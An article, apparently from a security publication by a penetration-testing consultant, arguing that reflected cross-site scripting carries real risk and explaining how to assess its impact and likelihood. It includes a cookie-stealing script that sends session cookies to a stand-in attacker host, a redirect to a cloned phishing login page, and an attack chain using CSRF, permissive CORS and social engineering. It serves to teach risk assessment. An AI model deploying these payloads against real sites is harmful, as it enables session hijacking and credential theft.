You are here

Cross-site scripting: How to go beyond the alert

public://pictures/kurt_muhl_headshot.jpeg
Kurt Muhl, Lead Security Consultant, RedTeam Security

It's commonplace for organizations to perform some level of penetration testing against their assets. With a penetration test comes a responsibility to remediate any discovered vulnerabilities or make a case for accepting the risk.

One vulnerability that many business owners seem willing to ignore is cross-site scripting (XSS), more specifically with reflected payloads. The most common argument I have heard from people is that you have to trick someone into submitting the JavaScript, and they quickly dismiss the vulnerability as though there are no other factors at play. This has become an all-too-common occurrence, especially in bug-bounty programs.

 

Sites such as HackerOne let the organization determine which vulnerabilities are eligible for a reward. When I see a program that says it doesn't accept XSS as a vulnerability, I have to question whether it's a matter of the risk being misunderstood, the risk being truly negligible, or the vulnerability having been already reported.

Unfortunately, in many cases it's a matter of the risk being misunderstood.

Here's why you need to look beyond the "alert" that is typically given as evidence for an XSS attack, plus key factors that should be considered when assessing the risk of a vulnerability. Ultimately, this should empower you to assess the risk to your organization, and help guide you to ask the right questions of the person, or team, performing your penetration testing.

[ Effective security operations requires staying ahead of threats. Get up to speed with this upcoming Webinar: Next Level SecOps with UEBA and MITRE ATT&CK ]

What is the vulnerability?

For those who are unfamiliar with XSS, it is a specific form of code injection where user input, in the form of JavaScript, is interpreted and executed by a web browser. This vulnerability has three high-level types: reflected, persistent, and DOM-based.

In the case of reflected XSS, the user input is reflected back in the web browser without ever being saved to the database. We see this most often in error messages when a developer wants to give more information than just "something went wrong," and also includes the user input within the error.

In the case of persistent XSS, the user input is saved to the database. Whenever someone views the saved value in a web browser, it will cause the code to execute. Each of these forms of XSS relies on the server handling the user input, but not properly validating/sanitizing the values.

DOM-based XSS relies solely on the client-side code. If you are inspecting the source code, you will often see the reference "$location.url" or "this.parameterName." The parameter values may come from a third-party site or from a page redirect that includes parameters from the previous page.

Each of these examples stores information within the web browser's memory. If the values are not in some way sanitized or validated using a whitelist, it is possible for the JavaScript to use the values and cause the user input to execute.

A verbose error presented to the user caused the JavaScript to execute. 

The image above shows an example of reflected XSS. A common payload that penetration testers use is:

<script>alert(1)</script>Unfortunately, this is where many penetration tests stop, leading to the inadequate response of, "You can pop an alert; so what?"

Determining impact

Your next step as a penetration tester should be to identify what we have to work with from an exploitation perspective. A common place to start is with other vulnerabilities on the site.

For example, if a session cookie is set and missing the HTTPOnly flag, we could use some code to send ourselves the value:

<script>document.location='http://malicioussite.com/'+document.cookie;</script>

Once you have the session token, setting the value locally may give us access to the user's account. Attacking the site from a different perspective, if you have unlimited space to work with, you can craft an HTML form prompting for a username and password. This requires a bit of coding experience.

You can also go a more basic route, using SEToolkit to clone a login page, and then using the JavaScript below to redirect users to the cloned page and attempt to trick them into sending you their username and password.

<script>window.location.replace("http://ourMaliciousSite.com/login");</script>

Each example focuses on gaining access to user accounts because, as a penetration tester, this often demonstrates the highest impact to many of our clients. These script examples can be changed to collect any form of sensitive information that your organization may value.

While this is all fine in theory, you still have to deliver the payload in a way that isn't easily recognizable or won't draw attention to the fact that we are doing something nefarious.

[ Get up to speed fast on today's tools with TechBeacon's Application Security Buyer's Guide 2019 ]

Determining likelihood

When trying to assess the risk of XSS, you must account for many different factors, the first being how the payload is being delivered.

In the case of stored XSS, this is pretty straightforward; our JavaScript is being saved to the database, and when the value is populated in the webpage, it executes. For DOM and reflected payloads, we have to consider how our JavaScript is being delivered to our victim in order to demonstrate how an attacker would get the code to be interpreted.

For this, we want to lay out a scenario: There is a user form that requires users to log in before submitting information. One of the POST parameters for this form is vulnerable to reflected XSS. The site also enforces the use of HTTPS for the entire time someone is browsing the website, and it is also enforcing HTTP strict-transport-security.

So how, as an attacker, do we force the user to log in and submit our payload?

To answer this, we start by looking at how the website is configured. The first hurdle is the POST parameter. One of our go-to approaches for this is to look for cross-site request forgery (CSRF), which will allow us to build our own web page where we can craft the POST request. Then all we have to do is get the user to visit the page and click a button.

Similarly, if the site is using HTML5's cross-origin resource sharing, we can check to see if the site trusts arbitrary domains to make requests to the server.

The highlighted response headers show that the server accepts requests from any domain (denoted with *), and allows the third-party domain to handle credentials. 

Figuring out authentication

So, we have the method for getting the payload into the POST parameter, but now we need to tackle the authentication issue. We need to ensure that the user is logged in for our delivery method to work.

We start by looking at how long a user session is active after initial login; it is common to find session cookies that have an expiration date of five days or more. If the session doesn't expire when the tab or window is closed, that is even better. It is better because now we don’t need our victim to be using the website at the time we deliver the payload, and we have five days from the last time they logged in to send it to them!

Our next step is to wrap all of this up in a seamless way that doesn't raise any red flags. If the website has built-in chat functionality to speak with an employee, or even a help desk technician, this can be perfect. We know the user will be logged in, and we know it's someone who probably has more authority than ourselves.

If a website doesn't have chat functionality, an attacker can always target the "contact us" page of the website. Often these pages allow users to submit a free-form question to an internal employee. All we need now is a little deception: We send them a link to our site that will submit the JavaScript, and with a little luck they won’t catch on that we are trying to steal their credentials.

If we are stealing a session cookie, much of this should happen with very little interaction from the victim.

Putting it together

So, to recap what we’ve covered so far: We have an idea of what a malicious actor will do with a particular vulnerability, and an idea of the code and technical knowledge needed to accomplish the task. We know the other vulnerabilities that can be leveraged to make all of this happen, and we know who will be targeted if an exploit is built.

Putting all of these factors together, we have a great starting point to determine the realistic overall risk of the XSS vulnerability. The next step is to make a preliminary decision on whether the risk is acceptable to the organization, or if your organization does not want to accept the risk and will remediate the vulnerability.

TL;DR

We have outlined multiple vulnerabilities that can be used in combination to get to our end goal of executing a JavaScript XSS payload. This is often referred to as an attack chain. Each organization we work with configures their applications differently and may have a different attack chain for how the vulnerability can be exploited.

It's important to understand each step of the attack, how difficult (or easy) each step is for a malicious actor to exploit, and the access or information being targeted. All of these are key to help assess the risk for each vulnerability.

Even with vulnerabilities that are old or that may not directly compromise servers and sensitive information, it is worth taking a step back and looking at the environment holistically. If there's ever any doubt about what it would take to exploit the vulnerability or what a malicious actor would try to accomplish with a XSS vulnerability, asking your penetration tester can help you get those answers.

[ See Guide: Best Practices for GDPR and CCPA Compliance ]